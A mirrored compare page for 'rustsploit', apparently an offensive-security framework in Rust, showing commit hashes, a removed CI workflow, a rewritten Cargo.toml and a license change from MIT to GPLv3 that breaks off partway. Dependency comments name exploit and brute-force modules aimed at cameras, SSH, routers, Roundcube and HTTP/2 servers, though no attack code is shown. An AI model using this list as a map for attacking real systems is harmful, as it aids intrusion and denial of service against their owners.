mirror of
https://github.com/s-b-repo/rustsploit
synced 2026-06-27 09:54:12 +00:00
Compare commits
293 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| f19891e03b | |||
| 0d1afe605b | |||
| ab3c86c437 | |||
| 7d3f1e8a51 | |||
| 00cf535bac | |||
| 5fff3916e3 | |||
| 7fa215aee0 | |||
| 6d69e14982 | |||
| 120832102e | |||
| 7ce7f582ce | |||
| 99ce6d9e7f | |||
| dc9f028495 | |||
| 699de58d4f | |||
| 655542e36f | |||
| 4175c164b0 | |||
| 1e657765bf | |||
| 3cd9840314 | |||
| c8d2d254a0 | |||
| f7793bc6ed | |||
| c33650e604 | |||
| 4049849a53 | |||
| a1ca9c3e43 | |||
| 4bdae0b07f | |||
| 4389cf9015 | |||
| f292e8c697 | |||
| 9616e3fea4 | |||
| 30072e4ccb | |||
| e45c346376 | |||
| d139d64bda | |||
| 849a724f0c | |||
| 3db864668c | |||
| e04c08e8d5 | |||
| 8a035a2f5b | |||
| 1afe9f5184 | |||
| 4c954a7f9f | |||
| 6a15adb0d2 | |||
| 956e2d23a2 | |||
| c774a4358a | |||
| a120f536b6 | |||
| 018f6234bb | |||
| 22f4bcf2eb | |||
| 384b09a6af | |||
| 1b50556331 | |||
| 62dbc9e2ec | |||
| 40180206fa | |||
| 9aee2764dd | |||
| f21264f99c | |||
| 7d875ede8e | |||
| c214fc0bfb | |||
| a96746297c | |||
| 96ac4d9a1a | |||
| 1a282ee99b | |||
| e7fc49d128 | |||
| 4804dcc860 | |||
| f1f1cf9855 | |||
| d250d23f3c | |||
| 2ee136e26d | |||
| 6110190d8c | |||
| 7fa6643c75 | |||
| 8c9105166f | |||
| 5775fbc016 | |||
| b5e5ac088a | |||
| 85bc679a5b | |||
| 8f83e1013b | |||
| 9ef5ec403f | |||
| 324d87b575 | |||
| a7a61b59db | |||
| 9efdcf274d | |||
| 0feab02c60 | |||
| 0a892be55a | |||
| 73f9c8f9a3 | |||
| b8b776f12a | |||
| 5d156686c6 | |||
| 630f123fe0 | |||
| aaa02ee3fe | |||
| d746c0fa69 | |||
| 1f66601843 | |||
| 386b19a17f | |||
| 9220bdceb5 | |||
| 9431916b8b | |||
| 5f168a79a3 | |||
| 63200f3d5e | |||
| 978f27e368 | |||
| 40ea4a3a74 | |||
| 90b83e4c29 | |||
| e58535d067 | |||
| d3596cf9c1 | |||
| c1963bd947 | |||
| 5ca83ef795 | |||
| c1202e98e9 | |||
| 1957eee693 | |||
| dc2763d2c4 | |||
| 8f2e4adc2d | |||
| 1c934adc33 | |||
| f37f5fa8f5 | |||
| a508bcb7dd | |||
| 260b919fba | |||
| ee3d24f6e8 | |||
| cbe7148938 | |||
| 4ec2631a2c | |||
| 4d6d127045 | |||
| 7da29ae4fe | |||
| edef9da2e5 | |||
| 0bc088d6e5 | |||
| 723241e50e | |||
| 63fb9e2387 | |||
| bd40afe476 | |||
| 537541be89 | |||
| 76a44bc3e7 | |||
| 176402c12f | |||
| 2c67cfe4ee | |||
| a4d94476e4 | |||
| 938b613cc1 | |||
| 64a0067a36 | |||
| 7feccde0b1 | |||
| 84ccbb9ce1 | |||
| 60a877ca57 | |||
| 2265480f99 | |||
| 6de9934070 | |||
| e0e2c4d8a9 | |||
| ba160cade8 | |||
| 553180eb16 | |||
| 0b17d39a05 | |||
| a348d440f8 | |||
| c60d8a69b3 | |||
| cd48200b0e | |||
| 566372adae | |||
| 9cb1ec0eb7 | |||
| 5aa35e8fe4 | |||
| 7c17a96ba4 | |||
| 4985537680 | |||
| 3514bea13c | |||
| c69ecb237a | |||
| d61d0987dc | |||
| 102d618289 | |||
| b5d0ce4c70 | |||
| 82ff19dc9d | |||
| 8d314e6d78 | |||
| aeaa894336 | |||
| 1b407c349f | |||
| 62cfce1b8d | |||
| c1f4aca340 | |||
| b6208db764 | |||
| 66679ee09d | |||
| 4a4ad714b0 | |||
| cf95a3db70 | |||
| 5434430ad0 | |||
| 6d33f0fdaa | |||
| 77124d25a2 | |||
| 7ec5089ea8 | |||
| 587e11267a | |||
| 65c6ec75b4 | |||
| 6bbb9d3048 | |||
| de6b598cd9 | |||
| d66f33193f | |||
| be2237e39b | |||
| f4935c1f9e | |||
| b646039f2e | |||
| c6c577ed52 | |||
| 77639bcf8b | |||
| 49ab851ffe | |||
| 03779dbe64 | |||
| e01e231579 | |||
| 0b31da3384 | |||
| d8e0210d70 | |||
| 803c19c2af | |||
| 41fd1ec33b | |||
| a6de04092a | |||
| f08e88055a | |||
| 6a0446996e | |||
| 9e9c78b1e5 | |||
| fea19075ce | |||
| 5735f90860 | |||
| 7df00dc03b | |||
| 8d49f2e5cf | |||
| 1d548818e6 | |||
| f66cf16931 | |||
| 9a9b8304cf | |||
| 51c0251798 | |||
| 32bed1d2a4 | |||
| 9f6d6361eb | |||
| d56ad77d1e | |||
| 8a493954b6 | |||
| c247b3b5ab | |||
| 6aadd98518 | |||
| b1759d0f86 | |||
| fe15591faa | |||
| 3b4accba35 | |||
| 1534b9aa95 | |||
| a014f9e485 | |||
| 34cb58ee01 | |||
| ac8c0e18df | |||
| cb1ff2b4e0 | |||
| 7a2af6fdf1 | |||
| 290f859058 | |||
| a3bd842971 | |||
| f38aea01c2 | |||
| 7b0a246ccc | |||
| 718719b7d1 | |||
| 2876abdbb1 | |||
| 6f98db53a5 | |||
| c1bce55552 | |||
| c0aec6ed64 | |||
| dbd2b50ef2 | |||
| eb2e8542a9 | |||
| f02c6a2274 | |||
| 5650be5720 | |||
| 4ee5eeab42 | |||
| 818a82982f | |||
| f4d7c45f1d | |||
| 421b2508a0 | |||
| e4066ceea6 | |||
| 0f2d4cad8a | |||
| 1a53215512 | |||
| 34aa655e36 | |||
| 1741c043f9 | |||
| b1ac4e0190 | |||
| 1b4dfca8e2 | |||
| a78073381b | |||
| 17e081eb16 | |||
| 5299059ca8 | |||
| d489e5d2e3 | |||
| 337d7d5249 | |||
| ef5457d00a | |||
| 0164912f52 | |||
| d62c65e8fb | |||
| cdeed7c799 | |||
| da075a08ce | |||
| d91e1d2a25 | |||
| 5d0634670b | |||
| d6d9e5e836 | |||
| 30396b2414 | |||
| a24d9c79de | |||
| aed7b0b93e | |||
| c26a0f116c | |||
| 7a781ae2fa | |||
| ba3a6480d2 | |||
| ae435a2143 | |||
| 20b610a1d5 | |||
| 9de9f0a8c9 | |||
| 66964ba639 | |||
| cb3ad7c22d | |||
| 423b0e0838 | |||
| cb053d5be3 | |||
| 39c8d8ccc8 | |||
| b2c85875fa | |||
| ee6d4e399e | |||
| 8af6d45e32 | |||
| a0c8c723dc | |||
| 97c366a846 | |||
| 7fc4148202 | |||
| ab8256fc19 | |||
| 3403cec7f9 | |||
| 99e31b1c2f | |||
| c9e93614a4 | |||
| 227dc38663 | |||
| b1ca5f1151 | |||
| 6c153eee99 | |||
| c9712dc4a9 | |||
| be1c4158af | |||
| 26913cdbf6 | |||
| f21fab17b8 | |||
| fef7339690 | |||
| 4224c696cc | |||
| 8c96ee3628 | |||
| 4b63dd711e | |||
| 0d81e0e6ed | |||
| bae1a091e4 | |||
| 7ae50993be | |||
| 948d802a3b | |||
| cd6ffb9a9e | |||
| f8e5c0af46 | |||
| 5f75e369cc | |||
| 80a4a5843c | |||
| 1051216ddd | |||
| 8eb8058ad6 | |||
| 63f8cac2ca | |||
| 71bc20cee0 | |||
| 34b6faf140 | |||
| 7f359683da | |||
| 1bbe3ae651 | |||
| 6100aa9964 | |||
| 0e3da4499f | |||
| 55a30f91f0 | |||
| 33284b158a | |||
| 624090055c | |||
| f60e5e50ca | |||
| 05f1a03dfc | |||
| 6dc6d2ecfb | |||
| 60163b46e6 | |||
| f185052df1 | |||
| a4a466083f | |||
| 1e285f95c7 |
@@ -1,22 +0,0 @@
|
||||
name: Rust
|
||||
|
||||
on:
|
||||
push:
|
||||
branches: [ "main" ]
|
||||
pull_request:
|
||||
branches: [ "main" ]
|
||||
|
||||
env:
|
||||
CARGO_TERM_COLOR: always
|
||||
|
||||
jobs:
|
||||
build:
|
||||
|
||||
runs-on: Kali
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Build
|
||||
run: cargo build --verbose
|
||||
- name: Run tests
|
||||
run: cargo test --verbose
|
||||
+156
-115
@@ -1,122 +1,163 @@
|
||||
[package]
|
||||
name = "rustsploit"
|
||||
version = "0.2.0"
|
||||
edition = "2021"
|
||||
version = "0.4.7"
|
||||
edition = "2024"
|
||||
build = "build.rs"
|
||||
|
||||
[dependencies]
|
||||
# For HTTP requests
|
||||
reqwest = { version = "0.12", features = ["json", "cookies", "socks"] }
|
||||
|
||||
#proxy manager
|
||||
rand = "0.9"
|
||||
|
||||
# For CLI parsing
|
||||
clap = { version = "4.5", features = ["derive"] }
|
||||
|
||||
# Async runtime for networking
|
||||
tokio = { version = "1.44", features = ["macros", "rt-multi-thread", "process","rt","fs", "io-std"] }
|
||||
|
||||
# Easier error handling
|
||||
anyhow = "1.0"
|
||||
|
||||
#teminal color
|
||||
colored = "3.0"
|
||||
rustyline = "15.0"
|
||||
|
||||
#ftp brute force module
|
||||
async_ftp = "6.0"
|
||||
tokio-socks = "0.5"
|
||||
rustls = "0.23"
|
||||
webpki-roots = "0.26"
|
||||
suppaftp = { version = "6.2", features = ["async", "async-native-tls","native-tls"] }
|
||||
native-tls = "0.2"
|
||||
sysinfo = { version = "0.36", features = ["multithread"] }
|
||||
|
||||
#telnet
|
||||
threadpool = "1.8"
|
||||
crossbeam-channel = "0.5"
|
||||
telnet = "0.2"
|
||||
|
||||
walkdir = "2.5"
|
||||
|
||||
#ssh
|
||||
ssh2 = "0.9"
|
||||
|
||||
# rstp brute forcing
|
||||
base64 = "0.22"
|
||||
|
||||
# RDP brute forcing module
|
||||
rdp = "0.12"
|
||||
|
||||
# ssdp moudle scanner
|
||||
regex = "1.11"
|
||||
ipnet = "2.11"
|
||||
|
||||
#camera uniview exploit
|
||||
quick-xml = "0.37"
|
||||
|
||||
#ABUS TVIP Dropbear
|
||||
md5 = "0.7"
|
||||
ftp = "3.0"
|
||||
|
||||
#ssh rce race condition
|
||||
libc = "0.2"
|
||||
futures = "0.3"
|
||||
futures-util = "0.3"
|
||||
|
||||
#spotube exploit
|
||||
serde_json = "1.0"
|
||||
tokio-tungstenite = "0.26"
|
||||
|
||||
#zte rce
|
||||
# Add these to [dependencies]
|
||||
aes = "0.8"
|
||||
cipher = "0.4"
|
||||
flate2 = "1.0"
|
||||
|
||||
# for Roundcube exploit payload encoding
|
||||
data-encoding = "2.5"
|
||||
|
||||
#avanti
|
||||
url = "2.5"
|
||||
semver = "1.0"
|
||||
|
||||
#stalk route full traceroute
|
||||
pnet_packet = "0.34"
|
||||
socket2 = { version = "0.5", features = ["all"] }
|
||||
|
||||
# HTTP/2 Rapid Reset DoS
|
||||
# Note: h2 0.3 requires http 0.2. Upgrading to h2 0.4 would require http 1.0+ and code changes
|
||||
h2 = "0.3"
|
||||
tokio-rustls = "0.24"
|
||||
http = "0.2"
|
||||
bytes = "1.0"
|
||||
|
||||
#pingsweep
|
||||
which = "8.0"
|
||||
|
||||
# API server
|
||||
axum = "0.7"
|
||||
tower = "0.5"
|
||||
tower-http = { version = "0.6", features = ["cors", "trace"] }
|
||||
chrono = { version = "0.4", features = ["serde"] }
|
||||
serde = { version = "1.0", features = ["derive"] }
|
||||
uuid = { version = "1.10", features = ["v4"] }
|
||||
sha2 = "0.10"
|
||||
hex = "0.4"
|
||||
|
||||
# DNS tooling
|
||||
trust-dns-client = { version = "0.23", features = ["dnssec"] }
|
||||
trust-dns-proto = "0.23"
|
||||
|
||||
# Pin transitive dependencies to edition-2021-compatible releases
|
||||
# (newer versions require unstable edition2024 feature)
|
||||
home = "=0.5.11"
|
||||
|
||||
[build-dependencies]
|
||||
regex = "1.11" # required for use in build.rs
|
||||
|
||||
[[bin]]
|
||||
name = "rustsploit"
|
||||
path = "src/main.rs"
|
||||
|
||||
[dependencies]
|
||||
# Core / General
|
||||
anyhow = "1.0"
|
||||
colored = "3.0" # newer than 2.0
|
||||
rand = "0.9"
|
||||
rustyline = "17.0"
|
||||
sysinfo = { version = "0.38", features = ["multithread"] }
|
||||
|
||||
# CLI & Async runtime
|
||||
clap = { version = "4.5", features = ["derive"] }
|
||||
tokio = { version = "1.49", features = ["full", "process", "fs", "io-std", "rt-multi-thread", "macros", "rt"] }
|
||||
|
||||
# HTTP & Web
|
||||
reqwest = { version = "0.13", features = ["json", "cookies", "socks", "multipart", "form"] }
|
||||
h2 = "0.4"
|
||||
http = "1.4"
|
||||
bytes = "1.11"
|
||||
tokio-rustls = "0.26"
|
||||
url = "2.5"
|
||||
urlencoding = "2.1"
|
||||
quick-xml = "0.39"
|
||||
data-encoding = "2.10"
|
||||
semver = "1.0"
|
||||
|
||||
# Crypto & Encoding
|
||||
aes = "0.8"
|
||||
cipher = "0.4"
|
||||
md5 = "0.8"
|
||||
sha2 = "0.10"
|
||||
hex = "0.4"
|
||||
flate2 = "1.1"
|
||||
base64 = "0.22"
|
||||
|
||||
# Networking & Protocols
|
||||
tokio-socks = "0.5"
|
||||
socket2 = { version = "0.6", features = ["all"] }
|
||||
pnet_packet = "0.35"
|
||||
ipnet = "2.11"
|
||||
ipnetwork = "0.21"
|
||||
regex = "1.12" # newest listed
|
||||
which = "8.0"
|
||||
|
||||
# FTP
|
||||
async_ftp = "6.0"
|
||||
suppaftp = { version = "8.0", features = ["tokio-async-native-tls"] }
|
||||
native-tls = "0.2"
|
||||
rustls = "0.23"
|
||||
webpki-roots = "1.0"
|
||||
|
||||
# Telnet
|
||||
threadpool = "1.8"
|
||||
crossbeam-channel = "0.5"
|
||||
telnet = "0.2"
|
||||
async-stream = "0.3.6"
|
||||
|
||||
# SSH
|
||||
libc = "0.2"
|
||||
|
||||
|
||||
# Bluetooth
|
||||
btleplug = "0.11"
|
||||
|
||||
# TUI (WPair module)
|
||||
ratatui = "0.29"
|
||||
crossterm = "0.28"
|
||||
|
||||
# RDP - removed unused dependency (module uses external xfreerdp/rdesktop commands)
|
||||
# rdp = "0.12"
|
||||
|
||||
# Walkdir (used by telnet module)
|
||||
walkdir = "2.5"
|
||||
|
||||
# WebSocket (Spotube exploit)
|
||||
tokio-tungstenite = "0.28"
|
||||
|
||||
# Futures
|
||||
futures = "0.3"
|
||||
futures-util = "0.3"
|
||||
|
||||
# JSON & Serialization
|
||||
serde = { version = "1.0", features = ["derive"] }
|
||||
serde_json = "1.0"
|
||||
chrono = { version = "0.4", features = ["serde"] }
|
||||
|
||||
# API Server (Axum)
|
||||
axum = "0.8"
|
||||
tower = "0.5"
|
||||
tower-http = { version = "0.6", features = ["cors", "trace", "limit"] }
|
||||
uuid = { version = "1.19", features = ["v4", "serde"] }
|
||||
|
||||
# DNS
|
||||
hickory-client = { version = "0.25" }
|
||||
hickory-proto = "0.25"
|
||||
|
||||
# Misc utilities
|
||||
once_cell = "1.21"
|
||||
home = "0.5" # updated for edition 2024 compatibility
|
||||
pnet = "0.35"
|
||||
des = { version = "0.8.1", features = ["zeroize"] }
|
||||
strsim = "0.11"
|
||||
byteorder = "1.5.0"
|
||||
ssh2 = "0.9.5"
|
||||
num_cpus = "1.17.0"
|
||||
|
||||
# TOTP Authentication
|
||||
totp-rs = { version = "5.6", features = ["gen_secret", "otpauth", "qr"] }
|
||||
|
||||
# Archive format for job output storage
|
||||
tar = "0.4"
|
||||
|
||||
# Constant-time comparison for security (timing attack prevention)
|
||||
subtle = "2.6"
|
||||
|
||||
[build-dependencies]
|
||||
regex = "1.12"
|
||||
walkdir = "2.5"
|
||||
|
||||
# Dependency overrides to address security warnings in transitive dependencies
|
||||
# Note: These are warnings (not vulnerabilities) in transitive dependencies
|
||||
# async-std warning: suppaftp uses async-std internally - waiting for upstream fix
|
||||
# The other warnings (atomic-polyfill, atty) are resolved by removing unused rdp dependency
|
||||
|
||||
# ============================================
|
||||
# Development profile: Fast incremental builds
|
||||
# ============================================
|
||||
[profile.dev]
|
||||
opt-level = 0 # No optimization for fastest compile
|
||||
debug = true # Keep debug symbols
|
||||
incremental = true # Enable incremental compilation
|
||||
split-debuginfo = "unpacked" # Faster link times
|
||||
|
||||
# Optimize dependencies in dev mode (they don't change often)
|
||||
[profile.dev.package."*"]
|
||||
opt-level = 2 # Deps are optimized but your code isn't
|
||||
|
||||
# ============================================
|
||||
# Release profile: Maximum performance
|
||||
# ============================================
|
||||
[profile.release]
|
||||
opt-level = 3
|
||||
lto = "fat"
|
||||
codegen-units = 1
|
||||
panic = "abort"
|
||||
strip = true
|
||||
|
||||
# ============================================
|
||||
# Custom profile: Fast release builds for testing
|
||||
# Usage: cargo build --profile fast-release
|
||||
# ============================================
|
||||
[profile.fast-release]
|
||||
inherits = "release"
|
||||
lto = "thin" # Faster than fat LTO
|
||||
codegen-units = 4 # Parallel codegen
|
||||
|
||||
@@ -1,21 +1,674 @@
|
||||
MIT License
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
Version 3, 29 June 2007
|
||||
|
||||
Copyright (c) 2025 S.B
|
||||
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
Preamble
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
The GNU General Public License is a free, copyleft license for
|
||||
software and other kinds of works.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
The licenses for most software and other practical works are designed
|
||||
to take away your freedom to share and change the works. By contrast,
|
||||
the GNU General Public License is intended to guarantee your freedom to
|
||||
share and change all versions of a program--to make sure it remains free
|
||||
software for all its users. We, the Free Software Foundation, use the
|
||||
GNU General Public License for most of our software; it applies also to
|
||||
any other work released this way by its authors. You can apply it to
|
||||
your programs, too.
|
||||
|
||||
When we speak of free software, we are referring to freedom, not
|
||||
price. Our General Public Licenses are designed to make sure that you
|
||||
have the freedom to distribute copies of free software (and charge for
|
||||
them if you wish), that you receive source code or can get it if you
|
||||
want it, that you can change the software or use pieces of it in new
|
||||
free programs, and that you know you can do these things.
|
||||
|
||||
To protect your rights, we need to prevent others from denying you
|
||||
these rights or asking you to surrender the rights. Therefore, you have
|
||||
certain responsibilities if you distribute copies of the software, or if
|
||||
you modify it: responsibilities to respect the freedom of others.
|
||||
|
||||
For example, if you distribute copies of such a program, whether
|
||||
gratis or for a fee, you must pass on to the recipients the same
|
||||
freedoms that you received. You must make sure that they, too, receive
|
||||
or can get the source code. And you must show them these terms so they
|
||||
know their rights.
|
||||
|
||||
Developers that use the GNU GPL protect your rights with two steps:
|
||||
(1) assert copyright on the software, and (2) offer you this License
|
||||
giving you legal permission to copy, distribute and/or modify it.
|
||||
|
||||
For the developers' and authors' protection, the GPL clearly explains
|
||||
that there is no warranty for this free software. For both users' and
|
||||
authors' sake, the GPL requires that modified versions be marked as
|
||||
changed, so that their problems will not be attributed erroneously to
|
||||
authors of previous versions.
|
||||
|
||||
Some devices are designed to deny users access to install or run
|
||||
modified versions of the software inside them, although the manufacturer
|
||||
can do so. This is fundamentally incompatible with the aim of
|
||||
protecting users' freedom to change the software. The systematic
|
||||
pattern of such abuse occurs in the area of products for individuals to
|
||||
use, which is precisely where it is most unacceptable. Therefore, we
|
||||
have designed this version of the GPL to prohibit the practice for those
|
||||
products. If such problems arise substantially in other domains, we
|
||||
stand ready to extend this provision to those domains in future versions
|
||||
of the GPL, as needed to protect the freedom of users.
|
||||
|
||||
Finally, every program is threatened constantly by software patents.
|
||||
States should not allow patents to restrict development and use of
|
||||
software on general-purpose computers, but in those that do, we wish to
|
||||
avoid the special danger that patents applied to a free program could
|
||||
make it effectively proprietary. To prevent this, the GPL assures that
|
||||
patents cannot be used to render the program non-free.
|
||||
|
||||
The precise terms and conditions for copying, distribution and
|
||||
modification follow.
|
||||
|
||||
TERMS AND CONDITIONS
|
||||
|
||||
0. Definitions.
|
||||
|
||||
"This License" refers to version 3 of the GNU General Public License.
|
||||
|
||||
"Copyright" also means copyright-like laws that apply to other kinds of
|
||||
works, such as semiconductor masks.
|
||||
|
||||
"The Program" refers to any copyrightable work licensed under this
|
||||
License. Each licensee is addressed as "you". "Licensees" and
|
||||
"recipients" may be individuals or organizations.
|
||||
|
||||
To "modify" a work means to copy from or adapt all or part of the work
|
||||
in a fashion requiring copyright permission, other than the making of an
|
||||
exact copy. The resulting work is called a "modified version" of the
|
||||
earlier work or a work "based on" the earlier work.
|
||||
|
||||
A "covered work" means either the unmodified Program or a work based
|
||||
on the Program.
|
||||
|
||||
To "propagate" a work means to do anything with it that, without
|
||||
permission, would make you directly or secondarily liable for
|
||||
infringement under applicable copyright law, except executing it on a
|
||||
computer or modifying a private copy. Propagation includes copying,
|
||||
distribution (with or without modification), making available to the
|
||||
public, and in some countries other activities as well.
|
||||
|
||||
To "convey" a work means any kind of propagation that enables other
|
||||
parties to make or receive copies. Mere interaction with a user through
|
||||
a computer network, with no transfer of a copy, is not conveying.
|
||||
|
||||
An interactive user interface displays "Appropriate Legal Notices"
|
||||
to the extent that it includes a convenient and prominently visible
|
||||
feature that (1) displays an appropriate copyright notice, and (2)
|
||||
tells the user that there is no warranty for the work (except to the
|
||||
extent that warranties are provided), that licensees may convey the
|
||||
work under this License, and how to view a copy of this License. If
|
||||
the interface presents a list of user commands or options, such as a
|
||||
menu, a prominent item in the list meets this criterion.
|
||||
|
||||
1. Source Code.
|
||||
|
||||
The "source code" for a work means the preferred form of the work
|
||||
for making modifications to it. "Object code" means any non-source
|
||||
form of a work.
|
||||
|
||||
A "Standard Interface" means an interface that either is an official
|
||||
standard defined by a recognized standards body, or, in the case of
|
||||
interfaces specified for a particular programming language, one that
|
||||
is widely used among developers working in that language.
|
||||
|
||||
The "System Libraries" of an executable work include anything, other
|
||||
than the work as a whole, that (a) is included in the normal form of
|
||||
packaging a Major Component, but which is not part of that Major
|
||||
Component, and (b) serves only to enable use of the work with that
|
||||
Major Component, or to implement a Standard Interface for which an
|
||||
implementation is available to the public in source code form. A
|
||||
"Major Component", in this context, means a major essential component
|
||||
(kernel, window system, and so on) of the specific operating system
|
||||
(if any) on which the executable work runs, or a compiler used to
|
||||
produce the work, or an object code interpreter used to run it.
|
||||
|
||||
The "Corresponding Source" for a work in object code form means all
|
||||
the source code needed to generate, install, and (for an executable
|
||||
work) run the object code and to modify the work, including scripts to
|
||||
control those activities. However, it does not include the work's
|
||||
System Libraries, or general-purpose tools or generally available free
|
||||
programs which are used unmodified in performing those activities but
|
||||
which are not part of the work. For example, Corresponding Source
|
||||
includes interface definition files associated with source files for
|
||||
the work, and the source code for shared libraries and dynamically
|
||||
linked subprograms that the work is specifically designed to require,
|
||||
such as by intimate data communication or control flow between those
|
||||
subprograms and other parts of the work.
|
||||
|
||||
The Corresponding Source need not include anything that users
|
||||
can regenerate automatically from other parts of the Corresponding
|
||||
Source.
|
||||
|
||||
The Corresponding Source for a work in source code form is that
|
||||
same work.
|
||||
|
||||
2. Basic Permissions.
|
||||
|
||||
All rights granted under this License are granted for the term of
|
||||
copyright on the Program, and are irrevocable provided the stated
|
||||
conditions are met. This License explicitly affirms your unlimited
|
||||
permission to run the unmodified Program. The output from running a
|
||||
covered work is covered by this License only if the output, given its
|
||||
content, constitutes a covered work. This License acknowledges your
|
||||
rights of fair use or other equivalent, as provided by copyright law.
|
||||
|
||||
You may make, run and propagate covered works that you do not
|
||||
convey, without conditions so long as your license otherwise remains
|
||||
in force. You may convey covered works to others for the sole purpose
|
||||
of having them make modifications exclusively for you, or provide you
|
||||
with facilities for running those works, provided that you comply with
|
||||
the terms of this License in conveying all material for which you do
|
||||
not control copyright. Those thus making or running the covered works
|
||||
for you must do so exclusively on your behalf, under your direction
|
||||
and control, on terms that prohibit them from making any copies of
|
||||
your copyrighted material outside their relationship with you.
|
||||
|
||||
Conveying under any other circumstances is permitted solely under
|
||||
the conditions stated below. Sublicensing is not allowed; section 10
|
||||
makes it unnecessary.
|
||||
|
||||
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
|
||||
|
||||
No covered work shall be deemed part of an effective technological
|
||||
measure under any applicable law fulfilling obligations under article
|
||||
11 of the WIPO copyright treaty adopted on 20 December 1996, or
|
||||
similar laws prohibiting or restricting circumvention of such
|
||||
measures.
|
||||
|
||||
When you convey a covered work, you waive any legal power to forbid
|
||||
circumvention of technological measures to the extent such circumvention
|
||||
is effected by exercising rights under this License with respect to
|
||||
the covered work, and you disclaim any intention to limit operation or
|
||||
modification of the work as a means of enforcing, against the work's
|
||||
users, your or third parties' legal rights to forbid circumvention of
|
||||
technological measures.
|
||||
|
||||
4. Conveying Verbatim Copies.
|
||||
|
||||
You may convey verbatim copies of the Program's source code as you
|
||||
receive it, in any medium, provided that you conspicuously and
|
||||
appropriately publish on each copy an appropriate copyright notice;
|
||||
keep intact all notices stating that this License and any
|
||||
non-permissive terms added in accord with section 7 apply to the code;
|
||||
keep intact all notices of the absence of any warranty; and give all
|
||||
recipients a copy of this License along with the Program.
|
||||
|
||||
You may charge any price or no price for each copy that you convey,
|
||||
and you may offer support or warranty protection for a fee.
|
||||
|
||||
5. Conveying Modified Source Versions.
|
||||
|
||||
You may convey a work based on the Program, or the modifications to
|
||||
produce it from the Program, in the form of source code under the
|
||||
terms of section 4, provided that you also meet all of these conditions:
|
||||
|
||||
a) The work must carry prominent notices stating that you modified
|
||||
it, and giving a relevant date.
|
||||
|
||||
b) The work must carry prominent notices stating that it is
|
||||
released under this License and any conditions added under section
|
||||
7. This requirement modifies the requirement in section 4 to
|
||||
"keep intact all notices".
|
||||
|
||||
c) You must license the entire work, as a whole, under this
|
||||
License to anyone who comes into possession of a copy. This
|
||||
License will therefore apply, along with any applicable section 7
|
||||
additional terms, to the whole of the work, and all its parts,
|
||||
regardless of how they are packaged. This License gives no
|
||||
permission to license the work in any other way, but it does not
|
||||
invalidate such permission if you have separately received it.
|
||||
|
||||
d) If the work has interactive user interfaces, each must display
|
||||
Appropriate Legal Notices; however, if the Program has interactive
|
||||
interfaces that do not display Appropriate Legal Notices, your
|
||||
work need not make them do so.
|
||||
|
||||
A compilation of a covered work with other separate and independent
|
||||
works, which are not by their nature extensions of the covered work,
|
||||
and which are not combined with it such as to form a larger program,
|
||||
in or on a volume of a storage or distribution medium, is called an
|
||||
"aggregate" if the compilation and its resulting copyright are not
|
||||
used to limit the access or legal rights of the compilation's users
|
||||
beyond what the individual works permit. Inclusion of a covered work
|
||||
in an aggregate does not cause this License to apply to the other
|
||||
parts of the aggregate.
|
||||
|
||||
6. Conveying Non-Source Forms.
|
||||
|
||||
You may convey a covered work in object code form under the terms
|
||||
of sections 4 and 5, provided that you also convey the
|
||||
machine-readable Corresponding Source under the terms of this License,
|
||||
in one of these ways:
|
||||
|
||||
a) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by the
|
||||
Corresponding Source fixed on a durable physical medium
|
||||
customarily used for software interchange.
|
||||
|
||||
b) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by a
|
||||
written offer, valid for at least three years and valid for as
|
||||
long as you offer spare parts or customer support for that product
|
||||
model, to give anyone who possesses the object code either (1) a
|
||||
copy of the Corresponding Source for all the software in the
|
||||
product that is covered by this License, on a durable physical
|
||||
medium customarily used for software interchange, for a price no
|
||||
more than your reasonable cost of physically performing this
|
||||
conveying of source, or (2) access to copy the
|
||||
Corresponding Source from a network server at no charge.
|
||||
|
||||
c) Convey individual copies of the object code with a copy of the
|
||||
written offer to provide the Corresponding Source. This
|
||||
alternative is allowed only occasionally and noncommercially, and
|
||||
only if you received the object code with such an offer, in accord
|
||||
with subsection 6b.
|
||||
|
||||
d) Convey the object code by offering access from a designated
|
||||
place (gratis or for a charge), and offer equivalent access to the
|
||||
Corresponding Source in the same way through the same place at no
|
||||
further charge. You need not require recipients to copy the
|
||||
Corresponding Source along with the object code. If the place to
|
||||
copy the object code is a network server, the Corresponding Source
|
||||
may be on a different server (operated by you or a third party)
|
||||
that supports equivalent copying facilities, provided you maintain
|
||||
clear directions next to the object code saying where to find the
|
||||
Corresponding Source. Regardless of what server hosts the
|
||||
Corresponding Source, you remain obligated to ensure that it is
|
||||
available for as long as needed to satisfy these requirements.
|
||||
|
||||
e) Convey the object code using peer-to-peer transmission, provided
|
||||
you inform other peers where the object code and Corresponding
|
||||
Source of the work are being offered to the general public at no
|
||||
charge under subsection 6d.
|
||||
|
||||
A separable portion of the object code, whose source code is excluded
|
||||
from the Corresponding Source as a System Library, need not be
|
||||
included in conveying the object code work.
|
||||
|
||||
A "User Product" is either (1) a "consumer product", which means any
|
||||
tangible personal property which is normally used for personal, family,
|
||||
